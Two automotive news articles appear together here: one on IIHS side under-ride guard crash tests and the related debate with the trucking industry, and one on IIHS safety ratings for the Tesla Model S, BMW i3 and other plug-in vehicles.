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The IIHS—funded by the auto insurance industry—and its research arm, the Highway Loss Data Institute (HLDI), have been studying under-ride crashes for decades and have been crash-testing and rating rear under-ride guard protection on trailers from the biggest manufacturers since 2011. The tests this spring, though, marked the first time that IIHS had evaluated under-ride protection for side collisions.

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One test included a side guard called an AngelWing from a company called AirFlow Deflector, which was featuring IIHS’s test results prominently on its website this week. An IIHS spokesman said the group does not have a business relationship with Airflow Deflector. The Institute said it tested AngelWing because it’s the only product it is aware of that trucking companies can buy that offers this protection.

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In another IIHS test, the trailer had a fiberglass side skirt that is designed only to improve a truck’s aerodynamics, not to prevent a car from sliding beneath the trailer. Results with that device were “dramatically different,” the IIHS said. As seen in the image at the top of this story, part of the car’s roof was sheared off, and its occupants likely would have suffered fatal injuries, the group said.

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Only the AngelWing guard prevented a midsize car from going underneath the trailer (photo below). That under-ride guard also allowed the car’s airbags and seatbelt to properly restrain the test dummy in the driver’s seat. Its maker says the guard also has fuel-saving aerodynamic benefits that help offset the cost.

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This type of crash, with a car hitting the side of a trailer, was at the heart of a high-profile accident involving Tesla’s Autopilot semi-autonomous driving system. Ohio native Joshua D. Brown was killed when his 2015 Model S, in self-driving Autopilot mode, failed to activate its automatic emergency braking system and ran into and under the side of a tractor-trailer rig. Tesla said afterward that the Autopilot system failed to recognize the white side of the truck against a background of bright sunlight.

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There were 1542 deaths from crashes involving both passenger cars and tractor-trailers in 2015, according to the most recent federal data as analyzed by the IIHS. Of those, 301 fatalities involved a vehicle hitting the side of the trailer, which was down slightly from 308 in 2014. There were 35,022 traffic deaths in total that same year.

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The American Trucking Associations (ATA), a group representing the trucking industry, said in an emailed statement that focusing on crash prevention, not adding side guards to tractor-trailers, is the best course for preventing under-ride deaths.

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“Side under-ride crash protection has several complicating factors—engineering tradeoffs involving weight, strength, and effectiveness—that have prevented a consensus around adopting side under-ride guards,” the ATA statement read.

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The group said side under-ride guards “would add significant weight and require stiffer trailers” that can develop cracks and wear out sooner, causing other safety issues. It said a wider deployment of advanced safety technologies, such as automated emergency braking and forward-collision-warning systems, would be their pick to help prevent under-ride crashes.

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Rear under-ride guards, essentially strong bars, are required on most tractor-trailers. They are sometimes referred to as Mansfield bars because of their supposed connection to Hollywood starlet Jayne Mansfield. Mansfield was killed near New Orleans in June 1967 when her 1966 Buick Electra 225 crashed into the back of a tractor-trailer, killing her and two other front-seat passengers. Three children in the back seat escaped with minor injuries.

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But like other lore surrounding Mansfield’s untimely death, it’s not completely true: Today’s Mansfield bar was not a direct result of the fatal wreck. Requirements for under-ride guards on medium and heavy trucks were first issued in 1953, long before the accident that killed the actress. NHTSA’s regulatory predecessor called for an updated standard in 1967, but it was not until 1998 that the federal standard that applies to semi-trailers was updated and strengthened.

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Engineers working on electric vehicles tend to talk about the freedoms afforded by getting rid of that big, hulking piece of metal—the conventional internal-combustion engine—in front of the passenger compartment. It allows not just smarter packaging but extra space for crash-energy absorption, they boast, making for better occupant protection. However, the results for one new crash test show that the Tesla Model S hasn’t entirely delivered on that promise.

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In testing from the Insurance Institute for Highway Safety (IIHS), the Model S underdelivered in a couple of areas and was denied a place on the organization’s Top Safety Pick honor roll. The demerits included a second-best rating of Acceptable in the small-overlap front crash test, Poor for headlight performance, and an asterisk that excludes the top P100D from the top Good roof-strength (rollover protection) rating.

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This is in sharp contrast to 2013 results from the National Highway Traffic Safety Administration (NHTSA), which gave the Model S a top five-star rating in every single category and subcategory. At that time, Tesla touted those results as being the highest score for any vehicle ever tested in the federal Vehicle Safety Score (VSS) system.

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In the IIHS testing just released, of greatest concern are the results from the small-overlap front crash test, which helps simulate what happens when a vehicle’s front corner collides at 40 mph with another vehicle or a fixed object like a utility pole or a tree. The results apply to Model S cars built after October 2016, when Tesla lengthened its side curtain airbags for better coverage in crashes of this type. The group, which hadn’t tested the Model S before, details that the dummy’s head hit the steering wheel through the airbag; head injuries would be possible, as would injuries to the right lower leg.

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Tesla Model S powertrain layout

Powertrain layout of the Tesla Model S.

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While the hundreds of pounds of batteries carried by electric cars, placed low, can improve a vehicle’s center of mass and make it more stable, the roof-strength test highlights that they can become a liability in one kind of crash. The roof of the speediest P100D version, with its additional battery weight, couldn’t put up enough of a fight to sustain the Good rating that applies to the other versions.

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The IIHS noted that Tesla is working with its supplier to improve the headlights—and to make changes to the Model S’s seatbelt arrangement that might improve the frontal test result.

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The Model S ratings are part of a new group of results IIHS released this week, including comprehensive ratings for four plug-in models. While the Chevrolet Volt and the Toyota Prius Prime, both plug-in hybrids, managed to achieve spots on the group’s Top Safety Pick+ honor roll, the Model S and the BMW i3 didn’t do as well.

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BMW i3

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The BMW i3, which employs a carbon-fiber-reinforced plastic body shell, earned the top score of Good in the four dynamic vehicle-crash categories, including the small-overlap front crash test, but missed the mark in the two categories related to headlights and head restraints, receiving Acceptable ratings.

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Up until now, the Nissan Leaf is the only other vehicle the IIHS has tested that was conceived from the start as an EV. Its results also are pockmarked, with a Poor rating in the small-overlap front crash test. With that, and these recent Model S and i3 results, it appears there’s still room for an EV safety champion; the IIHS noted that it’s planning to test the Chevrolet Bolt EV later this year.

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